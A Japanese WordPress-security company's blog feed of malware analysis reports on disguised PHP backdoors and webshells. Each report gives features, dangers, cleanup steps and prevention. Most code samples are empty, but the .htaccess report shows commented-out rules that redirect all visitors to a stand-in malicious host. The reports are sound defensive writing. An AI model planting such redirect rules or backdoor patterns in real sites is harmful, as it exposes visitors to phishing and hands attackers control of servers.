WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

---

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：abcd.php型バックドア](https://wp-r.com/malware/malware-rep-15/)

**Published:** 10月 21, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

アップロードされた **`abcd.php`** は、WordPressの正規構造には存在しない不審なPHPファイルです。ファイル名は一見シンプルで harmless に見えますが、中身には **外部からのコマンド実行・ファイル操作・情報取得** を可能にする典型的なバックドア構造が含まれていました。

難読化こそ弱いものの、POSTリクエストを入口にサーバー制御が可能になるため、放置すると重大な被害につながる危険性があります。

---

## 特徴

- `abcd.php` という単純名で偽装し、管理者の注意を避ける。
- 外部からのパラメータ入力（`$_POST` / `$_REQUEST`）を利用し、任意コードを実行可能。
- ファイルアップロードに対応し、追加マルウェアの展開が可能。
- サーバー情報の取得や権限操作につながるコード片が含まれている。

---

## 無毒化したコードの一部をサンプルで表記

```

```

---

## 感染ファイルの完全可読化ログ

解析した `abcd.php` の構造（危険部分はコメント化・無効化済み）。

```

```

---

## 危険性

- **サーバー乗っ取りレベルの深刻なバックドア機能**を持つ。
- 追加マルウェアを自由にアップロードされる危険性。
- 不正リダイレクトやスパムページ生成の起点になる可能性。
- SEO評価の急落、Google警告、インデックス削除につながる恐れ。

---

## 実際の感染事例

- `abcd.php` が `wp-content/uploads/` に配置され、攻撃者のリモート操作に利用されていた。
- 攻撃者がスパム広告ページを大量生成し、検索順位が壊滅状態になった事例。
- ホスティングから高負荷の警告を受け、アカウント一時停止に至ったケースも存在。

---

## 駆除と復旧の方法

1. **`abcd.php` を即削除**。
2. サーバー全体をスキャンし、類似するバックドアをすべて排除。
3. **WordPress本体・テーマ・プラグインを正規最新版で上書き再配置**。
4. **すべてのアカウントのパスワード変更**（WP/FTP/DB/ホスティング）。
5. 不正ユーザー・不正タスク（wp-cron）・不正オプション値の有無を確認。
6. ログ解析により侵入経路を特定し、脆弱プラグインを除去。
7. 実害が出た場合は **クリーンバックアップから復元**を検討。

---

## 再発防止のセキュリティ対策

- サーバー内のPHPファイル改ざん・追加を監視。
- WAFやWordfence等セキュリティプラグインを導入。
- プラグイン・テーマは必要最低限にし、常に最新化。
- 二段階認証やIP制限で管理画面の防御を強化。
- 週次〜月次でバックアップと復旧テストを実施。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`abcd.php` は単純名で偽装された典型的なバックドアで、深刻な被害をもたらす危険ファイルです。
早期発見と即時削除、さらに再発防止策の徹底が、ビジネスの信頼回復につながります。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [お盆も営業しております。](https://wp-r.com/news/open-on-holidays-summer2023/)

**Published:** 8月 13, 2023
**Author:** ワードプレスレスキュー

**Content:**

2023年のお盆も休ます、ワードプレスレスキューは営業しております。

**カテゴリー:** お知らせ

---

### [/wordpress-5.8.0-ja-jetpack_webfont-undernavicontrol/wp-settings.phpon line 110 の原因と対応方法](https://wp-r.com/wp-tips/wordpress-5-8-0-ja-jetpack_webfont-undernavicontrol-wp-settings-phpon-line-110/)

**Published:** 7月 26, 2024
**Author:** ワードプレスレスキュー

**Content:**

# 突然ワードプレスに表示されたエラー

## ワードプレスのエラーの内容

突然下記のエラーがワードプレスに表示されて、ワードプレスに障害がでたり、壊れたりする現象があります。原因は何でしょうか？（下記のエラーは一部ｘで伏せ字にしております）

```
Warning: require(/export/sdxx/www/jp/r/e/xxxx/9/2/sdxxxxxxx/xxxxxx/wordpress-5.8.0-ja-jetpack_webfont-undernavicontrol/wp-includes/class-wp-token-map.php):failed to open stream: No such file or directory in
Warning: require(/export/sdxx/www/jp/r/e/xxxx/9/2/sdxxxxxxx/xxxxxx/wordpress-5.8.0-ja-jetpack_webfont-undernavicontrol/wp-settings.phpon line 110
```

```
Warning: require(/export/sdxx/www/jp/r/e/xxxx/9/2/sdxxxxxxx/xxxxxx/wordpress-5.8.0-ja-jetpack_webfont-undernavicontrol/wp-includes/class-wp-token-map.php):failed to open stream: No such file or directory inWarning: require(/export/sdxx/www/jp/r/e/xxxx/9/2/sdxxxxxxx/xxxxxx/wordpress-5.8.0-ja-jetpack_webfont-undernavicontrol/wp-settings.phpon line 110
```

## ワードプレスのエラーの原因は？

これはワードプレスのアップデート中に、なにかしらの原因で失敗したことが原因です。弊社のご依頼の経験上、一部のサーバーで多く発生しているようです。なにもしていなく、急になるという症状のお客様が多く、サーバーのタイムスタンプなどからすると、自動アップデートで起きているように予想しております。

## ワードプレスのエラーの対処方法は？

このワードプレスのエラー、復旧の対応方法はワードプレスの再インストールでたいていは復旧できます。この段階で、ワードプレスの管理画面に入ることはできないと思ますので、FTPなどでワードプレスのファイルをサーバーにアップロードしてあげます。

### ワードプレスの復旧はFTPソフトが使える前提となります。

サーバー上のファイルを扱うので、慎重に行ってください。

1

**ワードプレスのバージョンを確認する**

重要な作業です。ワードプレスのバージョンが記載されているファイルを確認します。
/wp-includes/version.php
「$wp\_version = ‘6.6.1’;」この場合は6.6.1です。ワードプレス以外いもバージョンが記載されているので注意してくださいね。

2

**ワードプレスをダウンロードして解凍**

![](https://wp-r.com/wp-content/uploads/2024/07/wpdownload.png)
【最新版】
【過去板】
バージョンに合わせて、ダウンロードします。ZIP形式ですので、アップロードの前に解凍をしてください。

3

**FTPソフトを使ってアップロードします。**

## ワードプレスの修復はプロにお任せください。

必須名字

必須名

必須メールアドレス

連絡先電話番号

必須対象URL・症状

必須[プライバシーポリシー](https://wp-r.com/?page_id=185)

同意する

**送信後、確認でき次第ご連絡します。**

**カテゴリー:** ワードプレスTIPS

---

### [お盆も営業しております。](https://wp-r.com/news/open-on-holidays-2024summer/)

**Published:** 8月 13, 2024
**Author:** ワードプレスレスキュー

**Content:**

2024年のお盆も休ます、ワードプレスレスキューは営業しております。WordPressの障害やマルウェア対応、復旧、ご相談をお受けしております。

**カテゴリー:** お知らせ

---

### [WordPressマルウェア復旧・解析レポート：WP-Cron型バックドア](https://wp-r.com/malware/malware-rep-3/)

**Published:** 9月 9, 2025
**Author:** ワードプレスレスキュー

**Content:**

# マルウェアの概要

今回解析したファイルは **`wp-cron.php`** という名前ですが、本来のWordPressコアファイルを改ざんした **バックドア型マルウェア** です。
正規の `wp-cron.php` はWordPressの自動タスク（予約投稿や更新チェックなど）を行う重要なファイルですが、攻撃者はこのファイルを差し替え、外部からの命令を受け取れる不正なコードを組み込んでいました。

---

### 特徴

- WordPressのコアファイルを直接改ざんしているため、気付きにくい。
- 難読化されたPHPコードが含まれ、外部からのアクセス時に任意コード実行が可能。
- 正規のcron機能を装い、バックグラウンドで不正処理を実行。
- 攻撃者がサイトを永続的にコントロールするための **Webシェル機能** を搭載。

---

### 無毒化したコードの一部をサンプルで表記

```

```

この仕組みにより、攻撃者はリモートからコマンドを送るだけで、サーバー上で自由に操作が可能となっていました。

---

### 感染ファイルの完全可読化ログ

以下は難読化を解除したコードの全体構造（危険部分は無効化済み）です。

```

```

---

### 危険性

- **自動タスクに偽装**して常時実行されるため、気付きにくい。
- 攻撃者が任意のコマンドを実行し、サーバーを完全に制御可能。
- 不正なスクリプトやマルウェアの再配置による **継続的な感染**。
- SEOスパムの設置や改ざんにより、検索順位の急落やアクセス減少。

---

## 実際の感染事例

- `wp-cron.php` が書き換えられ、攻撃者のリモートシェルとして利用されていたケース。
- サイトが不定期にスパムページへリダイレクトされ、Google検索結果から除外された事例。
- サーバーがボットネットの一部として利用され、スパムメール配信に悪用された報告もある。

---

## 駆除と復旧の方法

1. **改ざんされた `wp-cron.php` を削除し、WordPress正規ファイルで上書き**。
2. **WordPressコア・テーマ・プラグインを最新バージョンへ更新**。
3. **管理者アカウントとパスワードをリセット**。
4. **データベースの確認** – 不審なオプションやユーザー追加を調査。
5. **サーバー全体をスキャン** – WordfenceやWP Cerber、MalCareで残存マルウェアを検知。
6. **バックアップからの復元** – クリーンな状態を基に再構築するのが安全。

---

## 再発防止のセキュリティ対策

- WordPress本体・プラグイン・テーマを常に最新に保つ。
- 管理者ログインページにアクセス制限や二段階認証を導入。
- 不要なプラグインやテーマを削除。
- ファイル変更監視機能（セキュリティプラグインやサーバーログ監視）を導入。
- 定期的なバックアップと復元テストを実施。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`wp-cron.php` の改ざんは、サイトのタスク管理機能を悪用して持続的に侵入される非常に危険な手口です。
早期に発見・駆除し、再発防止の仕組みを整えることで、サイトの安全性と信頼を守ることができます。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：.htaccess不正リダイレクト型マルウェア](https://wp-r.com/malware/malware-rep-9/)

**Published:** 10月 1, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

アップロードされた **`.htaccess`** ファイルを解析したところ、正規のWordPress設定ファイルではなく、**外部サイトへの不正リダイレクトを仕込むマルウェア** であることが確認されました。
.htaccess はApacheサーバーの動作を制御する重要なファイルであり、ここに悪意あるルールを追加されると、全てのアクセスが攻撃者の指定したサイトへ転送される危険性があります。

---

### 特徴

- `.htaccess` にRewriteルールやRedirect命令を挿入。
- 訪問者をフィッシングサイトやスパム広告へ自動的に誘導。
- サイト自体は存在しているが、表面的にはすべて別のサイトに飛ばされる。
- 管理者が気付くのが遅れる傾向がある。

---

### 無毒化したコードの一部をサンプル

```
# 不正なリダイレクト例
# RewriteEngine On
# RewriteRule ^(.*)$ http://malicious-example.com/$1 [R=301,L]

```

上記のように、攻撃者が指定する外部サイトへ強制的にリダイレクトするルールが埋め込まれていました。

---

### 感染ファイルの完全可読化ログ

以下は問題の `.htaccess` ファイルから検出された不審な設定（安全のためコメント化）。

```
# BEGIN Malicious Redirect
# Redirect 301 / http://malicious-example.com
# END Malicious Redirect

```

---

### 危険性

- **サイト訪問者がすべて外部の悪意あるサイトへ飛ばされる**。
- 検索エンジンから「危険なサイト」と判断され、SEO評価が大幅に低下。
- フィッシングやマルウェア配布に悪用され、サイト運営者の信用失墜につながる。

---

## 実際の感染事例

- `.htaccess` によるリダイレクトで、正規サイトにアクセスしたユーザーが全員フィッシングサイトへ誘導された事例。
- 広告収益目的でアダルトサイトへ転送され、Google検索からサイトがブロックされたケース。

---

## 駆除と復旧の方法

1. **不正に改ざんされた `.htaccess` を削除し、WordPressの標準 `.htaccess` を再生成**（管理画面のパーマリンク設定を保存）。
2. **サーバー内をスキャン**し、同様の不正コードやバックドアファイルが存在しないか確認。
3. **パスワードを全て変更**（WordPress、FTP、データベース、サーバー管理）。
4. **不審なユーザーや不必要なプラグインを削除**。
5. **セキュリティプラグイン導入**により、再感染を防止。

---

## 再発防止のセキュリティ対策

- 定期的に `.htaccess` を確認し、不審なリダイレクトがないかチェック。
- サーバーやプラグインを常に最新バージョンに更新。
- 管理者ログインに二段階認証を導入。
- 信頼できるセキュリティプラグインを活用し、改ざん検知・自動復旧を有効化。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`.htaccess` が改ざんされると、サイト訪問者がすべて外部へリダイレクトされ、ビジネスに甚大な影響を及ぼします。
正規ファイルへの復旧とセキュリティ対策の徹底が、サイトを守る最重要ポイントです。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：4O4.php型バックドア](https://wp-r.com/malware/malware-rep-12/)

**Published:** 10月 5, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した **`4O4.php`** は、WordPressの「404エラーページ」を装った **バックドア型マルウェア** です。
通常の `404.php` と異なり、ランダムな数字とアルファベットを組み合わせた不自然なファイル名になっており、サイト管理者が見落としやすい特徴を持ちます。内部には外部から送られるコマンドを実行する不正コードが隠されていました。

---

### 特徴

- 正規の `404.php` に似せて設置されるが、名前を微妙に変えて検知を回避。
- `$_POST` 経由でコマンドを受信し、サーバー上で実行可能。
- 難読化コードを利用し、不正な挙動を隠している。
- リダイレクトやスパムページの生成など、外部攻撃の拠点に利用される危険がある。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は `4O4.php` の可読化後の内容（一部危険な処理はコメント化済み）。

```

```

---

### 危険性

- `404` ページに偽装して設置されるため、管理者が発見しづらい。
- 任意コード実行によるサーバー乗っ取りのリスク。
- 攻撃者がスパムページやリダイレクトを仕込むことで、SEO評価やブランド信頼に深刻な悪影響。
- サイト利用者が不正サイトへ誘導される被害も報告。

---

## 実際の感染事例

- `4O4.php` がテーマフォルダ内に紛れ込んで設置され、全アクセスが不審サイトに転送されたケース。
- 管理者が通常の `404.php` と誤認し、発見が遅れ被害が拡大した事例。
- 広告スパムの挿入により検索順位が急落し、Google検索からのインデックス削除につながったケースも存在。

---

## 駆除と復旧の方法

1. **`4O4.php` を即削除**。
2. **テーマフォルダ全体を公式ソースから再アップロード**。
3. **wp-config.php やデータベースを精査**し、不審なコード挿入を確認。
4. **すべてのアカウントのパスワードを変更**（WordPress・FTP・DB・サーバー）。
5. **WordfenceやWP Cerberでスキャン**し、残存ファイルがないか確認。
6. 感染が深刻な場合は **バックアップから復元**。

---

## 再発防止のセキュリティ対策

- `404.php` などのコアファイルに不審な変更がないか定期チェック。
- セキュリティプラグインを導入し、改ざんを早期検知。
- ファイルの書き込み権限を最小限に制御。
- 管理画面のアクセス制限・二段階認証を導入。
- 定期的なバックアップ運用を徹底。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`4O4.php` のようなファイル改ざんは、サイト全体を不正利用されるリスクが高く、ユーザー信頼や検索順位に重大な影響を与えます。
感染が確認された場合は速やかに駆除・復旧を行い、継続的なセキュリティ対策を実施しましょう。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Advancedserver.php型バックドア](https://wp-r.com/malware/malware-rep-10/)

**Published:** 10月 8, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

**`advancedserver.php`** は、WordPressの正規ファイルには存在しない不審なPHPファイルで、サイト内部に設置されていました。
解析の結果、このファイルは **高度なバックドア機能** を持ち、攻撃者がサーバーを完全にリモート操作できるように設計されていることが判明しました。

---

### 特徴

- ファイル名に「server」と含まれ、正規のシステムファイルのように偽装。
- 難読化されたコードを複数層にわたり使用し、解析を困難にしている。
- 攻撃者が送信するコマンドを実行できるシェル機能を持つ。
- サーバー上のファイル操作、データ抽出、外部への通信など多機能。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は `advancedserver.php` の可読化後の抜粋（危険な処理はコメント化済み）。

```

```

---

### 危険性

- **高度なバックドア機能**により、外部から完全にサーバーを操作される可能性。
- 不正ファイルのアップロードや任意のスクリプト実行が可能。
- サイトの改ざん、スパムページ生成、フィッシング攻撃に利用されるリスク。
- サーバー全体が乗っ取られ、情報漏えいやサービス停止に至る危険。

---

## 実際の感染事例

- `advancedserver.php` が `wp-includes/` 配下に設置され、外部からのシェル操作に利用されたケース。
- サイト訪問者が強制的にマルウェア配布サイトへリダイレクトされる被害。
- セキュリティ業者による調査で数百の不正ファイルが同時に生成されていた事例も報告。

---

## 駆除と復旧の方法

1. **不正ファイル `advancedserver.php` を即時削除**。
2. **WordPress本体を公式の最新ファイルで上書き**。
3. **プラグイン・テーマを全て正規の最新版に差し替え**。
4. **管理者・FTP・DBパスワードを変更**。
5. **サーバーログを確認**し、侵入経路を特定して再発を防止。
6. **ファイル改ざん検知やWebアプリケーションファイアウォール（WAF）を導入**。
7. **定期バックアップの確立**で、万一の場合も迅速に復旧できるよう備える。

---

## 再発防止のセキュリティ対策

- WordPressやプラグインを常に最新に保つ。
- WAFやIDS/IPSを活用して攻撃を自動遮断。
- 管理者権限の多要素認証を導入。
- サーバーのアクセス権限を最小限に制御。
- 定期的なセキュリティ監査を実施。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`advancedserver.php` は高度に偽装されたバックドアであり、サーバー全体の安全を脅かす深刻な脅威です。
発見次第すぐに削除し、セキュリティ体制を強化することが、被害を最小限に抑える鍵となります。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：xGqHAmMz.php型バックドア](https://wp-r.com/malware/malware-rep-13/)

**Published:** 10月 11, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析したファイル **`xGqHAmMz.php`** は、WordPress本体や正規プラグインには存在しないランダムな名前のPHPファイルです。
中身を調査したところ、外部からのリクエストを受けて不正なコマンド実行やファイル操作を可能にする **カスタムバックドア** が仕込まれていました。

---

### 特徴

- 無意味な文字列をファイル名に使用し、管理者に気づかれにくい。
- 難読化されたコードや、複数の条件分岐 (`if`, `goto`) を利用。
- 外部からのリクエストパラメータをそのまま処理し、シェルコマンドを実行。
- サイト内部に永続的に潜伏する仕組みを持つ。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は `xGqHAmMz.php` を可読化した内容（危険部分はコメント化）。

```

```

---

### 危険性

- 無作為なファイル名で管理者に発見されにくい。
- 任意コード実行により、サーバー乗っ取りやデータ漏えいのリスク。
- 継続的なスパムページ生成や不正アクセスの踏み台として悪用される可能性。
- SEO評価やブランド信頼を大きく損なう危険性。

---

## 実際の感染事例

- `wp-content/uploads/` フォルダ内に `xGqHAmMz.php` が配置され、バックドアとして利用されていた。
- 管理者が気付かぬ間に外部スクリプトを読み込まれ、マルウェア配布サイトへ誘導されるケースが確認された。
- サイト全体が検索結果から除外され、復旧に長期間を要した事例もある。

---

## 駆除と復旧の方法

1. **`xGqHAmMz.php` を即削除**。
2. **サーバー全体をスキャン**して類似ファイルがないか確認。
3. **wp-config.php やテーマファイルを精査**し、不正コードの混入を排除。
4. **すべてのアカウントのパスワードを変更**。
5. **最新のWordPress・プラグイン・テーマに更新**。
6. **信頼できるバックアップから復旧**を検討。

---

## 再発防止のセキュリティ対策

- 管理画面やサーバーへのアクセスを制限（IP制御や二段階認証）。
- 定期的にサーバーファイルをチェックし、不審ファイルを早期発見。
- セキュリティプラグインを導入し、自動スキャンを有効化。
- 不要なプラグイン・テーマを削除し、常にアップデートを適用。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`xGqHAmMz.php` のようなランダム名のバックドアは、サイト運営者の目を欺き、長期的に不正利用されるリスクを高めます。
迅速な駆除と予防策により、サイトと顧客を守りましょう。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Moo.php型バックドア](https://wp-r.com/malware/malware-rep-11/)

**Published:** 10月 13, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した **`moo.php`** は、WordPress標準ファイルや一般的なプラグインとは無関係の不審なPHPファイルです。
調査の結果、外部から送信されたデータを直接実行する **Webシェル型のマルウェア** であることが判明しました。攻撃者にサーバーの制御権を与えてしまうため、非常に危険です。

---

### 特徴

- `moo.php` という一見無害な短い名前で偽装。
- 難読化された文字列を復号して利用。
- `$_POST` / `$_REQUEST` の内容を受け取り、任意のコマンドを実行する仕組み。
- ファイルアップロードやリモートからのコード注入を可能にする部分を含む。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は `moo.php` の可読化後のコード構造（危険部分はコメント化）。

```

```

---

### 危険性

- **シンプルな名前で油断させる手口**。
- サーバーを完全に遠隔操作される危険性。
- データ漏洩やスパムサイトへのリダイレクトに利用される。
- 検出が遅れるとSEO評価の大幅低下やGoogle検索からの除外リスク。

---

## 実際の感染事例

- `moo.php` が `wp-content/uploads/` 内に設置され、外部コマンド実行に利用されたケース。
- 攻撃者によって新たなマルウェアファイルが連鎖的にアップロードされ、サイト全体が乗っ取られた事例。
- 広告スパムやフィッシングサイトへの誘導に悪用され、ドメインの信頼性が大きく損なわれたケースも確認されている。

---

## 駆除と復旧の方法

1. **`moo.php` を即時削除**。
2. サーバー全体のファイルをスキャンし、類似ファイルを徹底的に除去。
3. WordPressコア・テーマ・プラグインを正規の最新版で再インストール。
4. 管理者アカウントやFTP/DBパスワードを全て変更。
5. サーバーログを確認し、不正アクセス経路を特定。
6. クリーンなバックアップからの復元も検討。

---

## 再発防止のセキュリティ対策

- ランダム名のファイルや不審なPHPファイルが生成されていないか定期的にチェック。
- WAFやセキュリティプラグイン（Wordfence, WP Cerberなど）の導入。
- 不要なプラグイン・テーマを削除し、脆弱性の原因を減らす。
- 管理者ログインへの二段階認証を導入。
- 定期的なバックアップとリストアテストを実施。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`moo.php` は非常にシンプルながら強力なバックドアで、攻撃者による不正アクセスやデータ漏えいの原因となります。
感染が判明した場合は速やかに削除・復旧を行い、セキュリティ体制を強化することが重要です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：xNiyMjeCH.php型バックドア](https://wp-r.com/malware/malware-rep-14/)

**Published:** 10月 17, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析した **`xNiyMjeCH.php`** は、WordPress本体や公式プラグインには存在しないランダムな文字列のファイル名を持つ **バックドア型マルウェア** です。
内部コードを解析した結果、外部からのリクエストを直接処理し、サーバー上でコマンド実行やファイル操作を可能にする危険な機能が確認されました。

---

### 特徴

- ファイル名が無作為な文字列で、発見されにくい。
- PHPコードが難読化されており、一見して正常なファイルと見分けがつかない。
- `$_POST` や `$_REQUEST` 変数を通じて攻撃者が任意コードを実行可能。
- ファイルアップロードやメール送信など、追加の不正機能が確認された。

---

### 無毒化したコードの一部をサンプルで表記

```

```

---

### 感染ファイルの完全可読化ログ

以下は可読化した `xNiyMjeCH.php` の構造（危険部分はコメント化）。

```

```

---

### 危険性

- ランダムなファイル名で特定が難しく、長期間気づかれないリスクがある。
- サーバー内部で自由にコマンド実行が可能になり、**完全な侵入**を許す。
- 不正ページやマルウェア拡散に悪用され、検索順位やブランドイメージを大きく損なう恐れ。
- バックドアを放置すると再感染や情報漏えいのリスクが高まる。

---

## 実際の感染事例

- `wp-content/uploads/` ディレクトリに `xNiyMjeCH.php` が潜んでおり、外部から不正アクセスに利用されていた。
- サイト訪問者がマルウェア配布サイトにリダイレクトされ、結果としてSEO評価が大幅に下落したケース。
- ホスティング業者からリソース大量使用を指摘され、アカウント一時停止になった事例も報告。

---

## 駆除と復旧の方法

1. **`xNiyMjeCH.php` を即座に削除**。
2. **サーバー内の全ファイルをスキャン**し、類似する不正ファイルを徹底的に除去。
3. **管理者アカウントやFTP/DBのパスワードをリセット**。
4. **正規のWordPressコア・テーマ・プラグインを再インストール**。
5. **サーバーログを確認**し、侵入経路を特定して再発を防止。
6. **バックアップからの復元を検討**し、クリーンな状態を確保。

---

## 再発防止のセキュリティ対策

- ランダムファイル名の不正ファイルがないか定期的にチェック。
- サーバーの不要なスクリプトやプラグインを削除。
- 強固なパスワード、二段階認証の導入。
- サーバーの脆弱性診断を定期的に実施。
- 攻撃検知とログ監視を徹底。

---

## まとめ：早期対応がSEOと信頼回復のカギ

`xNiyMjeCH.php` のようなランダム名のバックドアは、サイバー攻撃者の隠れ家として利用され、長期的にサイトを危険に晒す可能性があります。
早急に削除し、アップデートと監視体制を強化することで、再感染を防ぎましょう。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：リモートローダー型バックドア](https://wp-r.com/malware/malware-rep/)

**Published:** 9月 3, 2025
**Author:** ワードプレスレスキュー

**Content:**

# マルウェアの概要

今回解析したファイルは **`admin.php`** という名前のPHPファイルですが、正規の管理画面ファイルではなく、攻撃者によって設置された **バックドア型マルウェア** です。
このファイルを通じて、攻撃者はサーバー内部に不正アクセスし、任意のコードを実行したり、WordPressを乗っ取ることが可能になります。

---

### 特徴

- ファイル名が「admin.php」となっており、WordPressやプラグインの管理用ファイルに偽装。
- 難読化されたコードを使い、表面上は内容が読み取りづらく設計されている。
- 外部からパラメータを受け取り、任意のPHPコードを実行できる「Webシェル」の性質を持つ。
- 正規のWordPressコアやプラグインファイルの中に混入させられるケースが多い。

---

### 無毒化したコードの一部をサンプルで表記

（可読化した一部を抜粋）

```

```

上記は典型例ですが、今回のマルウェアも同様に「攻撃者がコマンドを送るとサーバーで実行される」構造を持っていました。
つまり、攻撃者はこのファイルを通じて自由に操作できる状態となります。

---

### 感染ファイルの完全可読化ログ

以下は、実際に難読化されていたコードを復元し、構造を明らかにしたものです（一部は安全のため無効化して表記）。

```

```

#### 主な機能

- **phpinfo出力**: サーバー環境情報を抜き出す（脆弱性調査に悪用）。
- **コマンド実行機能**: 任意のLinuxコマンドを実行可能。
- **ファイルアップロード機能**: 攻撃者が追加のマルウェアを自由に配置できる。

これにより、攻撃者は完全にサイトを掌握できる状態になります。

---

### 危険性

- サイトの完全乗っ取り（管理者権限の奪取）
- 外部スパムサイトへのリダイレクト
- 個人情報・顧客データの窃取
- サーバーリソースを悪用した迷惑メール送信
- 検索エンジンからの **SEOペナルティ** やインデックス削除

特に「バックドア型」は削除漏れがあると再感染の温床になります。

---

## 実際の感染事例

- 管理画面に不正ログイン後、`/wp-content/` や `/wp-includes/` 下に `admin.php` が設置されるケース
- `backup_xxxx` や `advancedserver` フォルダ内に隠されていたケース
- WordfenceやWP Cerberのスキャンで「不審なPHPファイル」として検知される事例が多数報告されています。

---

## 駆除と復旧の方法

1. **不正ファイルの削除**
    `admin.php` を含む怪しいPHPファイルを削除。
2. **コア・テーマ・プラグインの再インストール**
    正規のファイルと入れ替え、改ざんを徹底的に排除。
3. **データベースの確認**
    不正なユーザーやオプションの挿入がないか点検。
4. **サーバーログの確認**
    攻撃経路（脆弱なプラグイン、弱いパスワードなど）を特定。
5. **専門家によるスキャンツール**（Wordfence, WP Cerber, MalCareなど）の実行。

---

## 再発防止のセキュリティ対策

- WordPress・プラグイン・テーマを常に最新版に保つ
- 管理者パスワードを強固にし、二段階認証を導入
- 不要なファイル・テーマ・プラグインを削除
- サーバー権限（パーミッション）の適切化（644/755推奨）
- 定期的なバックアップ（外部ストレージ保存が望ましい）
- セキュリティプラグインを導入して改ざん検知を強化

---

## まとめ：早期対応がSEOと信頼回復のカギ

`admin.php` のようなバックドア型マルウェアは、表面的に無害に見えても内部では重大なリスクを抱えています。早期発見・迅速な駆除・継続的なセキュリティ対策こそが、サイトの信頼とSEO評価を守る最大のカギとなります。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する **CreativeStudio樂のエンジニアユニット** によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Firewall Manager型バックドア](https://wp-r.com/malware/malware-rep-2/)

**Published:** 9月 6, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回解析したファイルは **`firewall-manager.php`** という名前ですが、正規のWordPressファイルではなく、攻撃者によって不正に設置された **バックドア型マルウェア** です。
一見すると「ファイアウォール管理用の機能」に見えますが、内部には難読化されたコードが隠されており、サーバー上で任意のコード実行やファイル操作を可能にする仕組みが含まれていました。

---

### 特徴

- 「firewall」という名称で管理系ファイルに偽装し、発見されにくい。
- PHPの `goto` や16進数エンコードを使った難読化が施されている。
- POSTリクエストから受け取ったコマンドを実行できるWebシェル機能。
- 不正なファイルアップロード・サーバー情報の窃取・設定ファイルの読み取りが可能。

---

### 無毒化したコードの一部をサンプルで表記

```

```

